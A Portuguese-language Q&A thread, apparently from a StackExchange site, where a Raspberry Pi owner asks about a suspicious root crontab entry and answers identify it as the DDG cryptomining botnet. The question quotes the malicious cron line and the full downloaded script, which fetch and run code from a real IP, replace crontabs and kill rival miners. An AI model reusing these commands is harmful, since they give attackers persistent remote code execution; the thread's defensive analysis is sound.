Entrada suspeita de crontab executando 'xribfa4' a cada 15 minutos

59

Eu queria adicionar algo ao meu arquivo crontab raiz no meu Raspberry Pi e encontrei uma entrada que me parece suspeita, procurar por partes dele no Google não resultou em nada.

Entrada do Crontab:

*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh

O conteúdo de http://103.219.112.66:8000/i.shsão:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/root
echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -fsSL -m180 http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" >> /var/spool/cron/root
cp -f /var/spool/cron/root /var/spool/cron/crontabs/root

cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable

export PATH=$PATH:$(pwd)
ps auxf | grep -v grep | grep xribfa4 || rm -rf xribfa4
if [ ! -f "xribfa4" ]; then
    curl -fsSL -m1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -o xribfa4||wget -q -T1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -O xribfa4
fi
chmod +x xribfa4
/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4

ps auxf | grep -v grep | grep xribbcb | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbcc | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbcd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbce | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa0 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa1 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa2 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa3 | awk '{print $2}' | xargs kill -9

echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" | crontab -

Meu conhecimento do Linux é limitado, mas para mim parece que baixar binários de um servidor indonésio e executá-los como root regularmente não é algo comum.

O que é isso? O que devo fazer?

Peter Dam
fonte
16
É circular. A cada 15 minutos, ele baixa e instala uma nova cópia de si mesma. Se / quando a cópia no servidor remoto for alterada, todos os servidores executando este cronjob executarão o que for o novo código em 15 minutos.
Curinga
5
O seu raspberry pi está aberto na internet? Qual é o seu raspberry pi em execução? Este é o único resultado no google quando procuro xribfa4. Se você não estiver executando um software que precise fazer isso, é provável que seja um vírus.
kemotep
6
@ kemotep essa string é aleatória, mas google para o IP e dá alguns resultados. Algo sobre um botnet de mineração ddg
frostschutz 02/10
9
Eu encontrei. É uma loucura que o IP esteja registrado em um site do governo da Indonésia. Também parece que existem quase 2000 outros ips entregando essa carga útil.
kemotep
21
A principal coisa que você deve estar ciente é que, mesmo que você remova essa entrada do crontab, seu sistema provavelmente ainda tem a vulnerabilidade que permitiu a sua infecção. Você precisa encontrar e corrigir essa vulnerabilidade.
Hans-Martin Mosner

Respostas:

79

É uma botnet de mineração DDG, como funciona:

  1. explorando uma vulnerabilidade do RCE
  2. modificando o crontab
  3. fazendo o download do programa de mineração apropriado (escrito com go)
  4. iniciando o processo de mineração

DDG: um botnet de mineração visando servidores de banco de dados

SystemdMiner quando uma botnet pede emprestada a infraestrutura de outra botnet

U&L: como posso matar malware minerd em uma instância do AWS EC2? (servidor comprometido)

GAD3R
fonte
4
Sim, na verdade parece que é isso. Obrigado! Marcará isso como uma resposta, se nada de novo surgir.
Peter Dam
8
Não se esqueça dos conselhos usuais para uma máquina enraizada: tente descobrir como eles entraram para que você possa consertar o buraco. Aprenda com isso e aumente sua segurança. Finalmente, nuke e reinstale a máquina.
marcelm 03/10
3
A boa notícia é que eles não parecem ter um minerador para o Pi, apenas para i686 e x86_64.
Marque
13
@ Mark Como são boas notícias? Alguém ganhou controle total sobre seu Pi usando um ponto de entrada desconhecido e teve acesso total a quaisquer segredos no Pi (incluindo, entre outros, senhas). O fato de o minerador funcionar ou não está realmente no campo de "pequenos inconvenientes".
marcelm
4
@marcelm, o atacante ganhou controle total sobre ele e quase certamente não fez nada de significativo com esse controle.
Mark
2

Descubra quais portas TCP e UDP são realmente necessárias e, em seguida, bloqueie todas as outras portas no firewall do seu roteador. Possivelmente , essas entradas do crontab não reaparecerão.

Você pode ver quais portas são abertas e públicas usando o Shields Up!recurso no grc.com .

Mike Waters
fonte
5
Ou ele pode corrigir a vulnerabilidade.
Harper - Restabelece Monica
11
@Harper Absolutamente! Isso é um dado. Eu estava pensando que talvez, sem bloquear as portas não utilizadas primeiro, elas possam ser infectadas novamente enquanto ele estava tentando corrigi-las.
Mike Waters
11
Comentário relevante de security.SE: security.stackexchange.com/questions/147770/…
Wildcard
11
Isso (sem limitar apenas o TCP e o UDP), sempre. Um modelo de segurança positivo da Aka, lista de permissões ou negação por padrão - nega todo o tráfego que você não usa ou precisa explicitamente - a única maneira de garantir que nenhum de seus buracos seja exposto à penetração.
antichris